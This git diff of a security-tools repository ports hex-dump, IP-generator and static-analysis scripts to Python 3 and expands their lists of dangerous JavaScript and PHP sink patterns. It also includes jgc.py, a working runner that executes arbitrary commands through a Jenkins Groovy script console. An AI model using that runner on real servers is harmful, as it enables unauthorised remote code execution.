"PhotoCap Vector", + "785634": "PhotoCap Template", + "50415231": "Apache Parquet columnar file format", + "454D5832": "Emulator Emaxsynth samples", + "454D5533": "Emulator III synth samples", + "1B4C7561": "Lua bytecode", } COLORS = { - "black": '\33[0;30m', - "white": '\33[0;37m', - "red": '\33[0;31m', - "green": '\33[0;32m', - "green_bg": '\33[1;32m\33[41m', - "yellow": '\33[0;33m', - "yellow_bg": '\33[1;33m\33[41m', - "blue": '\33[0;34m', - "magenta": '\33[0;35m', - "magenta_bg": '\33[1;35m\33[41m', - "cyan": '\33[0;36m', - "grey": '\33[0;90m', - "lightgrey": '\33[0;37m', - "lightblue": '\33[0;94m' + "black": "\33[0;30m", + "white": "\33[0;37m", + "red": "\33[0;31m", + "green": "\33[0;32m", + "green_bg": "\33[1;32m\33[41m", + "yellow": "\33[0;33m", + "yellow_bg": "\33[1;33m\33[41m", + "blue": "\33[0;34m", + "magenta": "\33[0;35m", + "magenta_bg": "\33[1;35m\33[41m", + "cyan": "\33[0;36m", + "grey": "\33[0;90m", + "lightgrey": "\33[0;37m", + "lightblue": "\33[0;94m", } # some globals upper_case = False - def file_type(file_signature): """ Recognize file type based on file 'magic numbers' """ file_signature = binascii.hexlify(file_signature).upper() - recognized = 'ASCII text (no file signature found)' + recognized = "ASCII text (no file signature found)" for signature in FILE_SIGNATURES: - if file_signature.startswith(signature.upper()): + if file_signature.decode('utf-8').startswith(signature.upper()): recognized = FILE_SIGNATURES[signature] - return "{}\n[+] File type: {}{}{}".format(COLORS['cyan'], COLORS['yellow'], recognized, COLORS['white']) + return "{}\n[+] File type: {}{}{}".format( + COLORS["cyan"], COLORS["yellow"], recognized, COLORS["white"] + ) def char_type(c): @@ -193,45 +194,46 @@ def make_color(c, df_c=False): Formats color for byte depends on if it's printable ASCII """ global upper_case - + retval = "" # for file diff - if characters are different, use bg color for char: diff = (c != df_c) if df_c != False else False # printable ASCII: if char_type(c) == ASCII: if diff: retval = "{}{:02X}{}".format( - COLORS['green_bg'], ord(c), COLORS['white']) + COLORS["green_bg"], ord(c), COLORS["white"]) else: retval = "{}{:02X}{}".format( - COLORS['green'], ord(c), COLORS['white']) + COLORS["green"], ord(c), COLORS["white"]) if char_type(c) == OTHER: if diff: retval = "{}{:02X}{}".format( - COLORS['yellow_bg'], ord(c), COLORS['white']) + COLORS["yellow_bg"], ord(c), COLORS["white"]) else: retval = "{}{:02X}{}".format( - COLORS['yellow'], ord(c), COLORS['white']) + COLORS["yellow"], ord(c), COLORS["white"]) if char_type(c) == CTRL: if diff: retval = "{}{:02X}{}".format( - COLORS['magenta_bg'], ord(c), COLORS['white']) + COLORS["magenta_bg"], ord(c), COLORS["white"]) else: retval = "{}{:02X}{}".format( - COLORS['magenta'], ord(c), COLORS['white']) + COLORS["magenta"], ord(c), COLORS["white"]) - return (retval if upper_case else retval.lower()) + return retval if upper_case else retval.lower() def format_text(c): """ Formats color for character depends on if it's printable ASCII """ + retval = "" if char_type(c) == ASCII: - retval = "{}{}{}".format(COLORS['lightblue'], c, COLORS['white']) + retval = "{}{}{}".format(COLORS["lightblue"], c, COLORS["white"]) if char_type(c) == CTRL: - retval = "{}.{}".format(COLORS['magenta'], COLORS['white']) + retval = "{}.{}".format(COLORS["magenta"], COLORS["white"]) if char_type(c) == OTHER: - retval = "{}.{}".format(COLORS['yellow'], COLORS['white']) + retval = "{}.{}".format(COLORS["yellow"], COLORS["white"]) return retval @@ -241,14 +243,25 @@ def format_chunk(chunk, start, stop, df_chunk=False, dec=False): """ if dec: if df_chunk: - return " ".join("{}:{}{:#04}{} ".format(make_color(c, df_c), COLORS['grey'], - ord(c), COLORS['white']) for c, df_c in itertools.izip(chunk[start:stop], df_chunk[start:stop])) - return " ".join("{}:{}{:#04}{} ".format(make_color(c), COLORS['grey'], - ord(c), COLORS['white']) for c in chunk[start:stop]) + return " ".join( + "{}:{}{:#04}{} ".format( + make_color(c, df_c), COLORS["grey"], ord( + c), COLORS["white"] + ) + for c, df_c in itertools.izip(chunk[start:stop], df_chunk[start:stop]) + ) + return " ".join( + "{}:{}{:#04}{} ".format( + make_color(c), COLORS["grey"], ord(c), COLORS["white"] + ) + for c in chunk[start:stop] + ) else: if df_chunk: - return " ".join("{} ".format(make_color(c, df_c)) - for c, df_c in itertools.izip(chunk[start:stop], df_chunk[start:stop])) + return " ".join( + "{} ".format(make_color(c, df_c)) + for c, df_c in itertools.izip(chunk[start:stop], df_chunk[start:stop]) + ) return " ".join("{} ".format(make_color(c)) for c in chunk[start:stop]) @@ -261,14 +274,27 @@ def extract_shellcode(start, end, read_binary): s = read_binary.read(end - start) for c in s: if ord(c) == 0: - shellcode = shellcode + "{}".format(COLORS['red']) + str( - hex(ord(c))).replace("0x", "\\x") + "{}".format(COLORS['white']) + shellcode = ( + shellcode + + "{}".format(COLORS["red"]) + + str(hex(ord(c))).replace("0x", "\\x") + + "{}".format(COLORS["white"]) + ) else: - shellcode = shellcode + "{}".format(COLORS['yellow']) + str( - hex(ord(c))).replace("0x", "\\x") + "{}".format(COLORS['white']) - print("\n{}[+] Shellcode extracted from byte(s) {:#08x} to {:#08x}:{}".format(COLORS['cyan'], start, end, COLORS['white'])) + shellcode = ( + shellcode + + "{}".format(COLORS["yellow"]) + + str(hex(ord(c))).replace("0x", "\\x") + + "{}".format(COLORS["white"]) + ) + print( + "\n{}[+] Shellcode extracted from byte(s) {:#08x} to {:#08x}:{}".format( + COLORS["cyan"], start, end, COLORS["white"] + ) + ) print("\n{}\n".format(shellcode)) + if __name__ == "__main__": """ main program routine @@ -279,55 +305,70 @@ def extract_shellcode(start, end, read_binary): parser = argparse.ArgumentParser() parser.add_argument("file", help="Specify a file") parser.add_argument( - "-d", "--decimal", help="Display DEC values with HEX", action="store_true") - parser.add_argument( - "-s", "--start", help="Start byte") - parser.add_argument( - "-e", "--end", help="End byte") + "-d", "--decimal", help="Display DEC values with HEX", action="store_true" + ) + parser.add_argument("-s", "--start", help="Start byte") + parser.add_argument("-e", "--end", help="End byte") + parser.add_argument("-D", "--diff", help="Perform diff with FILENAME") parser.add_argument( - "-D", "--diff", help="Perform diff with FILENAME") + "-S", + "--shellcode", + help="Extract shellcode (-s and -e has to be passed)", + action="store_true", + ) parser.add_argument( - "-S", "--shellcode", help="Extract shellcode (-s and -e has to be passed)", action="store_true") - parser.add_argument( - "-u", "--uppercase", help="Display output using uppercase characters", action="store_true") - - args = parser.parse_args() + "-u", + "--uppercase", + help="Display output using uppercase characters", + action="store_true", + ) + + arguments = parser.parse_args() + print(arguments) b = 16 + diff_file = None # for -D / --diff - second file has to be opened # https://github.com/bl4de/security-tools/issues/22 [RESOLVED] - if args.diff: - diff_file = open(args.diff, 'rb') + if arguments.diff: + diff_file = open(arguments.diff, "rb") - if args.uppercase: + if arguments.uppercase: upper_case = True - - if args.file: - # read first 8 bytes to recognize file type - print(file_type(open(args.file, 'rb').read(8))) - with open(args.file, 'rb') as infile: - if args.start > -1 and args.end and (int(args.start, 16) > -1 and int(args.end, 16) > int(args.start, 16)): - __FROM = int(args.start, 16) - __TO = int(args.end, 16) + if arguments.file: + # read first 8 bytes to recognize file type + print(file_type(open(arguments.file, "rb").read(8))) + + with open(arguments.file, "rb") as infile: + if ( + arguments.start is not None and int(arguments.start) > -1 + and arguments.end is not None and (int(arguments.end) > 1) + and ( + int(arguments.start, 16) > - + 1 and int(arguments.end, 16) > int(arguments.start, 16) + ) + ): + __FROM = int(arguments.start, 16) + __TO = int(arguments.end, 16) else: - __TO = os.path.getsize(args.file) + __TO = os.path.getsize(arguments.file) - if args.shellcode and __FROM > -1 and __TO: + if arguments.shellcode and __FROM > -1 and __TO: extract_shellcode(__FROM, __TO, infile) infile.seek(__FROM) - if args.diff: + if arguments.diff is not None: diff_file.seek(__FROM) offset = __FROM - print("{}[+] Hex dump: {}\n".format(COLORS['cyan'], COLORS['white'])) + print("{}[+] Hex dump: {}\n".format(COLORS["cyan"], COLORS["white"])) while offset < __TO: chunk = infile.read(b) - if args.diff: + if arguments.diff is not None: df_chunk = diff_file.read(b) else: df_chunk = False @@ -336,47 +377,61 @@ def extract_shellcode(start, end, read_binary): break text = str(chunk) - text = ''.join([format_text(i) for i in text]) + text = "".join([format_text(i) for i in text]) - output = "{}{:#08x}{}".format( - COLORS['cyan'], offset, COLORS['white']) + ": " + output = ( + "{}{:#08x}{}".format( + COLORS["cyan"], offset, COLORS["white"]) + ": " + ) output += format_chunk(chunk, 0, 4, - df_chunk, args.decimal) + " " + df_chunk, arguments.decimal) + " " output += format_chunk(chunk, 4, 8, - df_chunk, args.decimal) + " " + df_chunk, arguments.decimal) + " " output += format_chunk(chunk, 8, 12, - df_chunk, args.decimal) + " " - output += format_chunk(chunk, 12, 16, df_chunk, args.decimal) + df_chunk, arguments.decimal) + " " + output += format_chunk(chunk, 12, 16, + df_chunk, arguments.decimal) - if args.diff: + if arguments.diff is not None: df_text = str(df_chunk) - df_text = ''.join([format_text(i) for i in df_text]) - - df_output = " " + \ - format_chunk(df_chunk, 0, 4, chunk, - args.decimal) + " " - df_output += format_chunk(df_chunk, - 4, 8, chunk, args.decimal) + " " - df_output += format_chunk(df_chunk, - 8, 12, chunk, args.decimal) + " " - df_output += format_chunk(df_chunk, 12, - 16, chunk, args.decimal) + df_text + df_text = "".join([format_text(i) for i in df_text]) + + df_output = ( + " " + + format_chunk(df_chunk, 0, 4, chunk, + arguments.decimal) + + " " + ) + df_output += ( + format_chunk(df_chunk, 4, 8, chunk, + arguments.decimal) + " " + ) + df_output += ( + format_chunk(df_chunk, 8, 12, chunk, + arguments.decimal) + " " + ) + df_output += ( + format_chunk(df_chunk, 12, 16, chunk, + arguments.decimal) + df_text + ) if len(chunk) % b != 0: - if args.decimal: + if arguments.decimal: output += " " * (((b * 2) - 4 - len(chunk))) + text - if args.diff: - df_output += " " * \ + if arguments.diff: + df_output += ( + " " * (((b * 2) - 4 - len(df_chunk))) + df_text + ) else: output += " " * (b + 4 - len(chunk)) + text - if args.diff: + if arguments.diff: df_output += " " * \ (b + 4 - len(df_chunk)) + df_text else: output += " " + text - if args.diff: + if arguments.diff: output += df_output print(output) diff --git a/ip_generator.py b/ip_generator.py index 75330a1..9952cbd 100755 --- a/ip_generator.py +++ b/ip_generator.py @@ -18,7 +18,7 @@ def help(): - print usage + print(usage) def generate(start, stop, logfile): @@ -31,6 +31,7 @@ def generate(start, stop, logfile): logfile.writelines("{}\n".format(res)) return + if __name__ == "__main__": f = open("ip_list.log", "w+") @@ -41,7 +42,6 @@ def generate(start, stop, logfile): start = sys.argv[1].split(".") stop = sys.argv[2].split(".") - print "\n[+] generating IP addresses in range from {} to {}...".format(sys.argv[1], sys.argv[2]) + print("\n[+] generating IP addresses in range from {} to {}...".format(sys.argv[1], sys.argv[2])) generate(start, stop, f) - print "[+] addresses generated...\n" - \ No newline at end of file + print("[+] addresses generated...\n") diff --git a/jgc.py b/jgc.py index 71a8504..2511599 100755 --- a/jgc.py +++ b/jgc.py @@ -2,27 +2,28 @@ import requests import sys -print """ -Jenkins Groovy Console cmd runner. +print(""" + Jenkins Groovy Console cmd runner. -usage: ./jgc.py [HOST] + usage: ./jgc.py [HOST] + + Then type any command and wait for STDOUT output from remote machine. + Type 'exit' to exit :) +""") -Then type any command and wait for STDOUT output from remote machine. -Type 'exit' to exit :) -""" URL = sys.argv[1] + '/scriptText' HEADERS = { 'User-Agent': 'jgc' } while 1: - CMD = raw_input(">> Enter command to execute (or type 'exit' to exit): ") + CMD = input(">> Enter command to execute (or type 'exit' to exit): ") if CMD == 'exit': - print "exiting...\n" + print("exiting...\n") exit(0) DATA = { 'script': 'println "{}".execute().text'.format(CMD) } result = requests.post(URL, headers=HEADERS, data=DATA) - print result.text + print(result.text) diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index cc775df..19438b2 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -3,22 +3,26 @@ # nodestructor # Node.js application static code analysis tool # -# bl4de | bloorq@gmail.com | Twitter: @_bl4de # pylint: disable=W1401 # pylint: disable=C """ nodestructor.py - static code analysis for Node.js applications by bl4de -GitHub: bl4de | Twitter: @_bl4de | hackerone.com/bl4de bloorq@gmail.com +GitHub: bl4de | hackerone.com/bl4de | bloorq AT gmail.com """ -import os -import re -import argparse -from imports.beautyConsole import beautyConsole +""" +some ideas: +https://attacker-codeninja.github.io/2021-08-24-code-review-notes-from-bug-bounty-bootcamp/ + +""" +import re +import os +import argparse +from imports.beautyConsole import beautyConsole banner = r""" ( ) ) @@ -34,103 +38,155 @@ example usages: $ ./nodestructor filename.js - $ ./nodestructor -R ./dirname - $ ./nodestructor -R ./dirname --skip-node-modules --skip-test-files - $ ./nodestructor -R ./node_modules --exclude=babel,lodash,ansi - $ ./nodestructor -R ./node_modules --include=body-parser,chalk,commander - $ ./nodestructor -R ./node_modules --pattern="obj.dangerousFn\(" + $ ./nodestructor -r ./dirname + $ ./nodestructor -r ./dirname --skip-node-modules --skip-test-files + $ ./nodestructor -r ./node_modules --exclude=babel,lodash,ansi + $ ./nodestructor -r ./node_modules --include=body-parser,chalk,commander + $ ./nodestructor -r ./node_modules --pattern="obj.dangerousFn\(" """ nodejs_patterns = [ - ".*url.parse\(", - ".*[pP]ath.normalize\(", - ".*fs.*File.*\(", - ".*fs.*Read.*\(", - ".*pipe\(res", - ".*bodyParser\(", - ".*eval\(", - ".*exec\(", - ".*execSync\(", - ".*res.write\(", - ".*child_process", - ".*child_process.exec\(", - ".*\sFunction\(", - ".*execFile\(", - ".*spawn\(", - ".*fork\(", - ".*setImmediate\(", - ".*newBuffer\(", - ".*\.constructor\(" -] - -npm_patterns = [ - ".*serialize\(", - ".*unserialize\(" + r".*url.parse\(", + r".*[pP]ath.normalize\(", + r".*fs.*File.*\(", + r".*fs.*Read.*\(", + r".*pipe\(res", + r".*bodyParser\(", + r".*eval\(", + r".*exec\(", + r".*execSync\(", + r".*execFile\(", + r".*execFileSync\(", + r".*res.write\(", + r".*child_process", + r".*child_process.exec\(", + r".*\sFunction\(", + r".*spawn\(", + r".*fork\(", + r"\.shell", + r"\.env", + r"\.exitCode", + r"\.pid", + r".*newBuffer\(", + r".*\.constructor\(", + r".*mysql\.createConnection\(", + r".*\.query\(", + r".*serialize\(", + r".*unserialize\(", + r".*__proto__" ] -browser_patterns = [ - ".*urlsearchParams\(", - ".*innerHTML", - ".*innerText", - ".*textContent", - ".*outerHTML", - ".*appendChild\(", - ".*document.write\(", - ".*document.location", - ".*document.URL", - ".*document.documentURI", - ".*document.URLUnencoded", - ".*document.baseURI", - ".*document.referrer", - ".*location.href", - ".*location.search", - ".*location.hash", - ".*location.host", - ".*location.pathname", - ".*document.cookie", - ".*history.pushState\(", - ".*history.replaceState\(", - ".*navigator.userAgent", - ".*window.open\(", - ".*postMessage\(", - ".*.addEventListener\(['\"]message['\"]", - ".*.ajax\(", - ".*.getJSON\(", - ".*\$http\(", - ".*navigator.sendBeacon\(", - ".*\.add\(", - ".*\.append\(", - ".*\.after\(", - ".*\.before\(", - ".*\.html\(", - ".*\.prepend\(", - ".*\.replaceWith\(", - ".*\.wrap\(", - ".*\.wrapAll\(", - ".*\.dangerouslySetInnerHTML", - ".*\.bypassSecurityTrust.*", - ".*localStorage\.", - ".*sessionStorage\.", - ".*\$sce\.trustAsHtml\(", - ".*\.load\(", - ".*jQuery\.ajax\(", - ".*parseHTML", - ".*wrap.*\(", - ".*html\(", - ".*before\(", - ".*after\(", - ".*insertBefore\(", - ".*insertAfter\(", - ".*prepend", - ".*setContent\(", - ".*setHTML\(", - ".*\.SafeString\(" +browrser_patterns = [ + r".*urlsearchParams\(", + r".*innerHTML", + r".*innerText", + r".*textContent", + r".*outerHTML", + r".*appendChild\(", + r".*document.write\(", + r".*document.writeln\(", + r".*document.location", + r".*document.URL", + r".*document.documentURI", + r".*document.URLUnencoded", + r".*document.baseURI", + r".*document.referrer", + r".*location.href", + r".*location.search", + r".*location.hash", + r".*location.host", + r".*location.pathname", + r".*document.cookie", + r".*history.pushState\(", + r".*history.replaceState\(", + r".*navigator.userAgent", + r".*window.open\(", + r".*postMessage\(", + r".*.addEventListener\(['\"]message['\"]", + r".*.ajax\(", + r".*.getJSON\(", + r".*\$http\(", + r".*navigator.sendBeacon\(", + r".*\.add\(", + r".*\.append\(", + r".*\.after\(", + r".*\.before\(", + r".*\.html\(", + r".*\.prepend\(", + r".*\.replaceWith\(", + r".*\.wrap\(", + r".*\.wrapAll\(", + r".*\.dangerouslySetInnerHTML", + r".*\.bypassSecurityTrust.*", + r".*localStorage\.", + r".*sessionStorage\.", + r".*\$sce\.trustAsHtml\(", + r".*\.load\(", + r".*jQuery\.ajax\(", + r".*parseHTML", + r".*wrap.*\(", + r".*html\(", + r".*before\(", + r".*after\(", + r".*insertBefore\(", + r".*insertAfter\(", + r".*prepend", + r".*setContent\(", + r".*setHTML\(", + r".*\.SafeString\(", + r".*globalEval", + r".*execScript", + r".*insertAdjacentHTML\(", + r".*setAttribute.on", + r".*xhr.open", + r".*xhr.send", + r"fetch", + r".*xhr.setRequestHeader.name", + r".*xhr.setRequestHeader.value", + r".*attr.href", + r".*attr.src", + r".*attr.data", + r".*attr.action", + r".*attr.formaction", + r".*prop.href", + r".*prop.src", + r".*prop.data", + r".*prop.action", + r".*prop.formaction", + r"form.action", + r".*input.formaction", + r".*button.formaction", + r".*button.value", + r".*setAttribute.href", + r".*setAttribute.src", + r".*setAttribute.data", + r".*setAttribute.action", + r".*setAttribute.formaction", + r"webdatabase.executeSql", + r".*document.domain", + r".*history.pushState", + r".*history.replaceState", + r".*setRequestHeader", + r".*websocket", + r".*anchor.href", + r".*anchor.target", + r".*JSON.parse", + r".*document.cookie", + r".*localStorage.setItem.name", + r".*localStorage.setItem.value", + r".*sessionStorage.setItem.name", + r".*sessionStorage.setItem.value", + r".*outerText", + r".*innerText", + r".*textContent", + r".*style.cssText", + r".*RegExp" ] -url_regex = re.compile("(https|http):\/\/[a-zA-Z0-9#=\-\?\&\/\.]+") +url_regex = re.compile(r"(https|http):\/\/[a-zA-Z0-9#=\-\?\&\/\.]+") urls = [] -patterns = nodejs_patterns + npm_patterns +patterns = nodejs_patterns total_files = 0 patterns_identified = 0 files_with_identified_patterns = 0 @@ -164,12 +220,12 @@ def show_banner(): print(beautyConsole.getColor("white")) -def printcodeline(_line, i, _fn, _message, _code, verbose): +def printcodeline(_line, i, _fn, _message, _code, verbose, fname=None): """ Formats and prints line of output """ _fn = _fn.replace("*", "").replace("\\", "").replace(".(", '(')[0:len(_fn)] - print(":: line %d :: \33[33;1m%s\33[0m %s " % (i, _fn, _message)) + print("{}:{} :: \33[33;1m{}\33[0m {} ".format(fname, i, _fn, _message)) if verbose: if i > 3: @@ -202,12 +258,12 @@ def process_files(subdirectory, sd_files, pattern="", verbose=False): if not '/node_modules/' in subdirectory or ('/node_modules/' in subdirectory and skip_node_modules is False): if (skip_test_files is False): perform_code_analysis(current_filename, pattern, verbose) - total_files=total_files + 1 + total_files = total_files + 1 else: if __file not in TEST_FILES and "/test" not in current_filename and "/tests" not in current_filename: perform_code_analysis( current_filename, pattern, verbose) - total_files=total_files + 1 + total_files = total_files + 1 def perform_code_analysis(src, pattern="", verbose=False): @@ -221,41 +277,41 @@ def perform_code_analysis(src, pattern="", verbose=False): # if -P / --pattern is defined, overwrite patterns with user defined # value(s) if pattern: - patterns=[".*" + pattern] + patterns = [".*" + pattern] - print_filename=True + print_filename = True - _file=open(src, "r") - _code=_file.readlines() - i=0 - patterns_found_in_file=0 + _file = open(src, "r") + _code = _file.readlines() + i = 0 + patterns_found_in_file = 0 for _line in _code: i += 1 - __line=_line.strip() + __line = _line.strip() for __pattern in patterns: - __rex=re.compile(__pattern) + __rex = re.compile(__pattern) if __rex.match(__line.replace(' ', '')): if print_filename: - files_with_identified_patterns=files_with_identified_patterns + 1 + files_with_identified_patterns = files_with_identified_patterns + 1 print("FILE: \33[33m{}\33[0m\n".format(src)) - print_filename=False + print_filename = False patterns_found_in_file += 1 printcodeline(_line, i, __pattern, - ' code pattern identified: ', _code, verbose) + ' pattern found ', _code, verbose, _file.name) # URL searching if identify_urls == True: if url_regex.search(__line): - __url=url_regex.search(__line).group(0) + __url = url_regex.search(__line).group(0) # show each unique URL only once if __url not in urls: printcodeline(__url, i, __url, - ' URL found: ', _code, verbose) + ' URL found: ', _code, verbose, _file.name) urls.append(__url) if patterns_found_in_file > 0: - patterns_identified=patterns_identified + patterns_found_in_file + patterns_identified = patterns_identified + patterns_found_in_file print(beautyConsole.getColor("red") + "\nIdentified %d code pattern(s)\n" % (patterns_found_in_file) + beautyConsole.getSpecialChar("endline")) @@ -266,7 +322,7 @@ def perform_code_analysis(src, pattern="", verbose=False): if __name__ == "__main__": show_banner() - parser=argparse.ArgumentParser() + parser = argparse.ArgumentParser() parser.add_argument("filename", help="Specify a file or directory to scan") parser.add_argument( "-r", "--recursive", help="check files recursively", action="store_true") @@ -285,28 +341,28 @@ def perform_code_analysis(src, pattern="", verbose=False): parser.add_argument( "-u", "--include-urls", help="identify URLs", action="store_true") parser.add_argument( - "-p", "--pattern", help="define your own pattern to look for. Pattern has to be a RegEx, like '.*fork\('. nodestructor removes whiitespaces, so if you want to look for 'new fn()', your pattern should look like this: '.*newfn\(\)' (all special characters for RegEx have to be escaped with \ )") + "-p", "--pattern", help="define your own pattern to look for. Pattern has to be a RegEx") - args=parser.parse_args() + args = parser.parse_args() try: - base_path=args.filename + base_path = args.filename if args.recursive: - FILE_LIST=os.listdir(args.filename) + FILE_LIST = os.listdir(args.filename) - pattern=args.pattern if args.pattern else "" + pattern = args.pattern if args.pattern else "" - exclude=[e for e in args.exclude.split( + exclude = [e for e in args.exclude.split( ',')] + exclude_always if args.exclude else exclude_always - include=[i for i in args.include.split(',')] if args.include else [] + include = [i for i in args.include.split(',')] if args.include else [] - skip_node_modules=args.skip_node_modules - skip_test_files=args.skip_test_files - identify_urls=args.include_urls - verbose=args.verbose + skip_node_modules = args.skip_node_modules + skip_test_files = args.skip_test_files + identify_urls = args.include_urls + verbose = args.verbose if args.include_browser_patterns: - patterns=patterns + browser_patterns + patterns = patterns + browser_patterns if args.recursive: for subdir, dirs, files in os.walk(base_path): @@ -318,10 +374,10 @@ def perform_code_analysis(src, pattern="", verbose=False): process_files(subdir, files, pattern, verbose) else: # process only single file - s_filename=args.filename + s_filename = args.filename if s_filename[-3:] == '.js': perform_code_analysis(s_filename, pattern, verbose) - total_files=total_files + 1 + total_files = total_files + 1 except Exception as ex: print("{}An exception occured: {}\n\n".format( diff --git a/nodestructor/static_analysis.py b/nodestructor/static_analysis.py deleted file mode 100755 index ae17601..0000000 --- a/nodestructor/static_analysis.py +++ /dev/null @@ -1,59 +0,0 @@ -#!/usr/bin/python -import re -import sys -import argparse - -from imports.beautyConsole import beautyConsole - -jsfile = open('/Users/bl4de/hacking/bugbounty/Roche_Private/src/admin-client.js', 'r') -file_read = jsfile.readlines() - - -# variables -variables = [] -variable_to_trace = '' - -variable_definition_regex = '(let|const|var)\s+([_$a-zA-Z0-9]+)' - -line_no = 0 - - -def decorate_varname(var_name): - return beautyConsole.getColor("red") + var_name + beautyConsole.getColor("white") - - -def decorate_source(src_line): - return beautyConsole.getColor("yellow") + src_line + beautyConsole.getColor("white") - -parser = argparse.ArgumentParser() -parser.add_argument( - "-v", "--variable", help="Name of variable to trace") - -ARGS = parser.parse_args() - -if ARGS.variable: - variable_to_trace = ARGS.variable.strip() - -print("\n\n[+] STARTING ANALYSIS...\n") -for line in file_read: - line = line.replace('\n', '') - line_no = line_no + 1 - - res = re.search(variable_definition_regex, line) - if res: - variable_name = res.group(2) - if variable_name == variable_to_trace: - print("\n[+] found {} variable definition in line {}:\n {}"\ - .format(decorate_varname(variable_name), line_no, decorate_source(line))) - inner_line_no = 0 - - if variable_name == variable_to_trace: - for inner_line in file_read: - inner_line = inner_line.replace('\n', '') - inner_line_no = inner_line_no + 1 - if variable_name + '=' in inner_line.replace(' ', ''): - print("\n\t{} used in assignment in line {}:\n\t{}\n".format(decorate_varname(variable_name), inner_line_no, decorate_source(inner_line))) - if '({})'.format(variable_name) in inner_line.replace(' ', ''): - print("\n\t{} used in function call as an argument in line {}:\n\t{}\n".format(decorate_varname(variable_name), inner_line_no, decorate_source(inner_line))) - -print("\n\n[+] DONE\n") diff --git a/nodestructor/test.py b/nodestructor/test.py deleted file mode 100755 index 036d1cf..0000000 --- a/nodestructor/test.py +++ /dev/null @@ -1,7 +0,0 @@ -#!/usr/bin/python -import re - -EXCLUDE = ['babel','xxx','eee'] -subdir = 'node_modules/babel-register/lib' - -print [e in subdir for e in EXCLUDE] \ No newline at end of file diff --git a/nodestructor/testfiles/1.js b/nodestructor/testfiles/1.js new file mode 100644 index 0000000..b701134 --- /dev/null +++ b/nodestructor/testfiles/1.js @@ -0,0 +1,5 @@ +const obj1 = {}; +obj1.__proto__.x = 1; +console.log(obj1.x === 1); // true +const obj2 = {}; +console.log(obj2.x === 1); // true diff --git a/pef/imports/pefdefs.py b/pef/imports/pefdefs.py deleted file mode 100755 index 5a7d8fd..0000000 --- a/pef/imports/pefdefs.py +++ /dev/null @@ -1,161 +0,0 @@ -# Definitions for pef.py - -# exploitable functions -exploitableFunctions = [ - "system(", - "exec(", - "popen(", - "pcntl_exec(", - "eval(", - "preg_replace(", - "create_function(", - "include(", - "require(", - "passthru(", - "shell_exec(", - "popen(", - "proc_open(", - "pcntl_exec(", - "extract(", - "parse_str(", - "putenv(", - "ini_set(", - "mail(", - "header(", - "unserialize(", - "assert(", - "call_user_func(", - "call_user_func_array(", - "ereg_replace(", - "eregi_replace(", - "mb_ereg_replace(", - "mb_eregi_replace(", - "virtual", - "readfile(", - "file_get_contents(", - "show_source(", - "highlight_file(", - "fopen(", - "file(", - "fpassthru(", - "fsockopen(", - "gzopen(", - "gzread(", - "gzfile(", - "gzpassthru(", - "readgzfile(", - "mssql_query(", - "odbc_exec(", - "sqlsrv_query(", - "PDO::query(", - "move_uploaded_file(", - "echo", - "print(", - "printf(", - "ldap_search(", - "header(", - "sqlite_", - "sqlite_query(", - "pg_", - "pg_query(", - "mysql_", - "mysql_query(", - "mysqli::query(", - "mysqli_", - "mysqli_query(", - "apache_setenv(", - "dl(", - "escapeshellarg(", - "escapeshellcmd(", - "extract(", - "get_cfg_var(", - "get_current_user(", - "getcwd(", - "getenv(", - "ini_restore(", - "ini_set(", - "passthru(", - "pcntl_exec(", - "php_uname(", - "phpinfo(", - "popen(", - "proc_open(", - "putenv(", - "symlink(", - "syslog(", - "curl_exec(", - "__wakeup(", - "__destruct(", - "__sleep(", - "filter_var(", - "file_put_contents(" -] - -# only high severity functions, for quick scan of large codebase -# to find oversighted leading to RCE, LFI, Command Injections, SQLi etc. -critical = [ - "system(", - "exec(", - "popen(", - "pcntl_exec(", - "eval(", - "passthru(", - "shell_exec(", - "extract(", - "parse_str(", - "putenv(", - "unserialize(", - "readfile(", - "file_get_contents(", - "mysql_query(", - "mssql_query(", - "sqlite_query(", - "pg_query(", - "__wakeup(", - "__destruct(", - "__sleep(", - "__call(", - "__callStatic(", - "filter_var(", - "file_put_contents(" -] - -# dangerous global(s) -globalVars = [ - "$_POST", - "$_GET", - "$_COOKIE", - "$_REQUEST", - "$_SERVER" -] - -# dangerous patterns - LFI/RFI -fileInclude = [ - "include($_GET", - "require($_GET", - "include_once($_GET", - "require_once($_GET", - "include($_REQUEST", - "require($_REQUEST", - "include_once($_REQUEST", - "require_once($_REQUEST" -] - -# reflected properties which might leads to eg. XSS -reflectedProperties = [ - "$_SERVER[\"PHP_SELF\"]", - "$_SERVER[\"SERVER_ADDR\"]", - "$_SERVER[\"SERVER_NAME\"]", - "$_SERVER[\"REMOTE_ADDR\"]", - "$_SERVER[\"REMOTE_HOST\"]", - "$_SERVER[\"REQUEST_URI\"]", - "$_SERVER[\"HTTP_USER_AGENT\"]" -] - -# other patterns -otherPatterns = [ - "SELECT.*FROM", - "INSERT.*INTO", - "UPDATE.*", - "DELETE.*FROM" -] \ No newline at end of file diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index 153fad3..a0efbfd 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -1,518 +1,889 @@ # Reference(S) for pef.py +# exploitable functions +exploitableFunctions = { + "javascript": [ + "eval(", + "document.URL", + "document.documentURI", + "document.baseURI", + "location", + "document.cookie", + "document.referrer", + "document.write(", + "innerHTML", + "outerHTML", + "insertAdjacentHTML(", + "location.host", + "location.href", + "location.search", + "Function(", + "textContent", + "innerText", + "URLSearchParams(", + ], + "php": [ + # "`", + "system(", + "exec(", + "popen(", + "pcntl_exec(", + "eval(", + "arse_str(", + "parse_url(", + "preg_replace(", + "create_function(", + "passthru(", + "shell_exec(", + "popen(", + "proc_open(", + "pcntl_exec(", + "extract(", + "putenv(", + "ini_set(", + "mail(", + "unserialize(", + "assert(", + "call_user_func(", + "call_user_func_array(", + "ereg_replace(", + "eregi_replace(", + "mb_ereg_replace(", + "mb_eregi_replace(", + "virtual", + "readfile(", + "file_get_contents(", + "show_source(", + "highlight_file(", + "fopen(", + "file(", + "fpassthru(", + "fsockopen(", + "gzopen(", + "gzread(", + "gzfile(", + "gzpassthru(", + "readgzfile(", + "mssql_query(", + "odbc_exec(", + "sqlsrv_query(", + "PDO::query(", + "move_uploaded_file(", + "echo", + "print(", + "printf(", + "ldap_search(", + "sqlite_", + "sqlite_query(", + "pg_", + "pg_query(", + "mysql_", + "mysql_query(", + "mysqli::query(", + "mysqli_", + "mysqli_query(", + "apache_setenv(", + "dl(", + "escapeshellarg(", + "escapeshellcmd(", + "extract(", + 